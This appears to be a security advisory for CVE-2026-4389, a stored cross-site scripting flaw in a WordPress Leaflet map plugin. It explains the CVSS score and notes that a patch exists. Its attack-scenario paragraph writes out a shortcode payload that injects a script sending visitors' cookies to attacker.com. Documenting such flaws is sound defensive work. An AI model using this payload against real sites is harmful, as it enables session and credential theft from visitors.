Dsgvo Snippet For Leaflet Map And Its Extensions CVE-2026-4389

The CVSS v3.1 score of 6.4 with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N reflects moderate severity, but several factors contextualize this: the attack vector is network-accessible (AV:N), attack complexity is low (AC:L), and no user interaction is required (UI:N), making exploitation straightforward once access is granted. However, the privilege requirement (PR:L) for contributor-level access is a significant gate, limiting the attacker pool to authenticated users with explicit WordPress permissions. The scope change (S:C) indicates the vulnerability can impact resources beyond the vulnerable component (cross-site impact). Real-world risk depends heavily on WordPress site configuration: sites with many contributors or loose role management face higher risk, while sites with strict contributor controls face lower risk. Wordfence as the reporting source provides credibility, and the existence of patch commits in the trunk version (referenced changeset 3489426) suggests a fix exists, reducing the window for exploitation.

An authenticated WordPress contributor or editor (who may be a compromised account or a malicious insider) inserts a malicious leafext-cookie-time shortcode into a published page with a crafted unset attribute containing JavaScript code such as [leafext-cookie-time unset="value"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]. When site visitors access this page, the unescaped shortcode attribute renders the injected script directly into the HTML, causing the visitor's browser to execute the attacker's code, potentially stealing session cookies, credentials, or performing actions on behalf of the victim. No user interaction is required beyond the victim simply viewing the page, making this a high-impact attack vector in sites with many daily visitors.